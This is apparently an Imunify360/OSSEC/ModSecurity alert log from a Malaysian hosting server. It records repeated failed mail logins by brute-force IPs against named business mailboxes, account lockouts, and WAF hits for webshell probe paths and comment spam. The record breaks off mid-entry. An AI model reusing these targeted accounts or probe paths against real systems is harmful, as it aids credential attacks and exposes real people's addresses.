rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:40:36 dovecot_login authenticator failed for H=(WYlGXDksYE) [158.94.208.175]:49796: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:40:02 dovecot_login authenticator failed for H=(T740J5) [178.16.52.139]:57959: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 21:40:59 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:40178: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 21:40:35 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jasinpack@jpack.com.my has been locked for the attacker IP 178.16.52.139


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.184.182.6
country_id: 953987
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=88 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.129.206.14
country_id: 1269750
description:
2026-02-01 21:41:02 dovecot_login authenticator failed for H=([203.129.206.14]) [203.129.206.14]:34938: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 141.95.54.157
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/img/img/demos/img/img/img/photos/new-development.php||SC:/home2/pspolycom/public_html/img/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:41:04 dovecot_login authenticator failed for H=(sHjwOP6) [158.94.208.175]:55106: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 21:41:28 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account enquiry@smartcable.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:41:30 dovecot_login authenticator failed for H=(LS1hfE) [178.16.52.139]:50397: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 21:41:19 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jasinpack@jpack.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 21:41:03 dovecot_login authenticator failed for H=(yy4JsHs) [2.58.56.77]:57932: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:41:07 dovecot_login authenticator failed for H=(avbqKVpd) [178.16.52.139]:53535: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:41:05 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50281: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-01 21:41:52 +0800] info [cpaneld] 185.204.54.153 - krisfood "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 51.38.187.130
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/img/img/demos/img/img/img/photos/index.php||SC:/home2/pspolycom/public_html/img/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.8.120.90
country_id: 3469034
description:
2026-02-01 21:42:51 dovecot_login authenticator failed for H=(187-8-120-90.customer.tdatabrasil.net.br) [187.8.120.90]:46319: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 21:42:52 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:42:04 dovecot_login authenticator failed for H=(K6yjSgYm) [178.16.52.139]:57761: 535 Incorrect authentication data (set_id=jasinpack@jpack.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 21:42:17 dovecot_login authenticator failed for H=(gUeBnT) [2.58.56.77]:52278: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:42:05 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60665: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.51
country_id: 2921044
description:
2026-02-01 21:42:05 dovecot_plain authenticator failed for H=([178.16.52.51]) [178.16.52.51]:52556: 535 Incorrect authentication data (set_id=kimmarkpurchase@kimmark.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.192.69.5
country_id: 2635167
description:
2026-02-01 21:42:35 242024 [Warning] Aborted connection 242024 to db: 'unconnected' user: 'unauthenticated' host: '185.192.69.5' (This connection closed normally without authentication)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 21:42:02 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jasinpack@jpack.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-02-01 21:42:03 dovecot_login authenticator failed for H=(144.121.245.65.lightower.net) [64.72.74.162]:53245: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:42:27 dovecot_login authenticator failed for H=(DwFA3S) [158.94.208.175]:60604: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:43:05 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55117: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 21:43:41 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jasinpack@jpack.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:43:45 dovecot_login authenticator failed for H=(jVVhdH) [158.94.208.175]:61649: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/img/demos/img/img/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-02-01 21:43:15 dovecot_login authenticator failed for H=(227.69.57.37.triolan.net) [37.57.69.227]:46371: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 21:43:20 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:34708: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 21:43:24 dovecot_login authenticator failed for H=(bNH5XkEVA) [2.58.56.77]:50329: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 21:43:25 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:28829: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:43:21 dovecot_login authenticator failed for H=(eMzwyDk) [178.16.52.139]:57768: 535 Incorrect authentication data (set_id=sales@figofoods.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 21:43:43 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 21:44:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:44:13 dovecot_login authenticator failed for H=(2Zjp3w) [158.94.208.175]:59736: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:44:23 dovecot_login authenticator failed for H=(BNlude) [178.16.52.139]:56858: 535 Incorrect authentication data (set_id=ajpsales@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 21:44:31 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 21:44:09 dovecot_login authenticator failed for H=(eQHYMGAvT) [2.58.56.77]:50290: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:44:17 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54621: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:44:42 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60771: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 21:45:44 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:54614: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 21:45:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 21:45:21 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 21:45:23 dovecot_login authenticator failed for H=(VgX35Zr0) [2.58.56.77]:53887: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:45:11 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64072: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:45:07 dovecot_login authenticator failed for H=(Q57bxTMLM) [178.16.52.139]:55253: 535 Incorrect authentication data (set_id=sales@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:45:08 dovecot_login authenticator failed for H=(orBNi3) [158.94.208.175]:63100: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:46:17 dovecot_login authenticator failed for H=(2LXuP68Kt) [178.16.52.139]:51252: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.165.172.38
country_id: 1835841
description:
2026-02-01 21:46:44 dovecot_login authenticator failed for H=([221.165.172.38]) [221.165.172.38]:60418: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 21:46:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 167.148.167.71
country_id: 6252001
description:
2026-02-01 21:46:21 H=([167.148.167.71]) [167.148.167.71]:64922 F=<Server@euratech.com.my> rejected RCPT <olivia@euratech.com.my>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.37.203.28
country_id: 1831722
description:
2026-02-01 21:46:44 dovecot_login authenticator failed for H=([36.37.203.28]) [36.37.203.28]:45426: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 21:46:10 dovecot_login authenticator failed for H=(CVp2hgX5q2) [2.58.56.77]:62731: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.178.39.106
country_id: 1814991
description:
2026-02-01 21:46:21 dovecot_login authenticator failed for H=([220.178.39.106]) [220.178.39.106]:36407: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 21:46:34 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:46:10 dovecot_login authenticator failed for H=(MWnt9g) [178.16.52.139]:54464: 535 Incorrect authentication data (set_id=jasinpack@jpack.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:46:04 dovecot_login authenticator failed for H=(nOz6jx1) [158.94.208.175]:52636: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.36.234.156
country_id: 1835841
description:
2026-02-01 21:47:00 dovecot_login authenticator failed for H=([118.36.234.156]) [118.36.234.156]:55150: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:46:03 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58055: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.223.176.171
country_id: 6252001
description:
2026-02-01 21:47:55 dovecot_login authenticator failed for H=([50.223.176.171]) [50.223.176.171]:49470: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.182.99.92
country_id: 1655842
description:
2026-02-01 21:47:32 dovecot_login authenticator failed for H=([183.182.99.92]) [183.182.99.92]:52142: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 21:47:23 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 21:47:25 dovecot_login authenticator failed for H=(pmVr6AwyJV) [2.58.56.77]:50904: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.49.97.15
country_id: 6252001
description:
2026-02-01 21:47:34 dovecot_login authenticator failed for H=(64-49-97-15.protekweb.com) [64.49.97.15]:40014: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:47:04 dovecot_login authenticator failed for H=(HUes2oCT) [158.94.208.175]:54327: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:47:14 dovecot_login authenticator failed for H=(mBZsFKfs) [178.16.52.139]:56846: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:47:20 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60305: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:48:29 dovecot_login authenticator failed for H=(EcUo3L6) [158.94.208.175]:59563: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:48:37 dovecot_login authenticator failed for H=(xpxNBN6) [178.16.52.139]:53369: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:48:17 dovecot_login authenticator failed for H=(i3aZUZij) [178.16.52.139]:52515: 535 Incorrect authentication data (set_id=ajpsales@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 21:48:12 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:38128: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.160.166.237
country_id: 1820814
description:
2026-02-01 21:48:13 dovecot_login authenticator failed for H=(237-166.adsl.static.espeed.com.bn) [119.160.166.237]:46598: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 21:48:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:48:06 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52434: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 21:48:10 dovecot_login authenticator failed for H=(OzeAc14) [2.58.56.77]:62548: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-02-01 21:49:44 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:60953: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:49:04 dovecot_login authenticator failed for H=(ufNZvJcSM5) [178.16.52.139]:58308: 535 Incorrect authentication data (set_id=sales@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 21:49:20 dovecot_login authenticator failed for H=(WgyHyo) [2.58.56.77]:53032: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:49:25 dovecot_login authenticator failed for H=(DWZl1dHAh) [158.94.208.175]:61024: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:49:06 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61457: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.48.142.243
country_id: 1819730
description:
2026-02-01 21:49:31 dovecot_login authenticator failed for H=243.142.48.116.static.netvigator.com [116.48.142.243]:62042: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.49.182
country_id: 1668284
description:
2026-02-01 21:50:46 dovecot_login authenticator failed for H=111-70-49-182.emome-ip.hinet.net [111.70.49.182]:52459: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 21:50:06 dovecot_login authenticator failed for H=(q2Ei3m0K0) [2.58.56.77]:55210: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 21:50:33 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:54560: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.84.246
country_id: 1814991
description:
2026-02-01 21:50:35 dovecot_login authenticator failed for H=([116.114.84.246]) [116.114.84.246]:51164: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:50:48 dovecot_login authenticator failed for H=(NLvf7U) [178.16.52.139]:51355: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:50:08 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57569: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:50:18 dovecot_login authenticator failed for H=(Q28HoTEB) [158.94.208.175]:61711: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.99.89.74
country_id: 1835841
description:
2026-02-01 21:50:03 dovecot_login authenticator failed for H=([183.99.89.74]) [183.99.89.74]:47230: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:50:06 dovecot_login authenticator failed for H=(Ux555oj) [178.16.52.139]:54017: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.229.120.233
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=83401516694235 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:51:13 dovecot_login authenticator failed for H=(AadWrn) [158.94.208.175]:58522: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77350630
name: IM360 WAF: DB injection limit
abuser: 200.10.47.230
country_id: 1605651
domain: agsaintifik.com.my
description:
IM360 WAF: DB injection limit||ARG:ARGS:url||Injection:https://meet-wiki.win/index.php/From_Eyesore_to_Empty_Driveway:_How_Free_RV_Removal_Programs_Simplify_Junk_Camper_Disposal_in_Arizona_and_California_36150||User:agsaintifik||SC:/home2/agsaintifik/public_html/wp-comments-post.php||WPU:||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350576
name: IM360 WAF: DB injection block
abuser: 200.10.47.230
country_id: 1605651
domain: agsaintifik.com.my
description:
IM360 WAF: DB injection block||ARG:ARGS:url||Injection:https://meet-wiki.win/index.php/From_Eyesore_to_Empty_Driveway:_How_Free_RV_Removal_Programs_Simplify_Junk_Camper_Disposal_in_Arizona_and_California_36150||User:agsaintifik||SC:/home2/agsaintifik/public_html/wp-comments-post.php||WPU:||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.91.153.26
country_id: 3077311
description:
2026-02-01 21:51:44 dovecot_login authenticator failed for H=u153-26.static.grape.cz [93.91.153.26]:52837: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 21:51:16 dovecot_login authenticator failed for H=(VmvpkJk) [2.58.56.77]:62358: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:51:05 dovecot_login authenticator failed for H=(rz0kBRL) [178.16.52.139]:54437: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:51:13 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54211: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.92.61.242
country_id: 1814991
description:
2026-02-01 21:51:20 dovecot_login authenticator failed for H=([222.92.61.242]) [222.92.61.242]:45871: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.255.212.178
country_id: 732800
description:
2026-02-01 21:51:32 dovecot_login authenticator failed for H=([185.255.212.178]) [185.255.212.178]:42421: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.10.10.20
country_id: 1814991
description:
2026-02-01 21:52:51 dovecot_login authenticator failed for H=([221.10.10.20]) [221.10.10.20]:46606: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:52:04 dovecot_login authenticator failed for H=(IGJQlH8N) [178.16.52.139]:55856: 535 Incorrect authentication data (set_id=jasinpack@jpack.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.188
country_id: 1814991
description:
2026-02-01 21:52:34 dovecot_login authenticator failed for H=([111.61.177.188]) [111.61.177.188]:25778: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
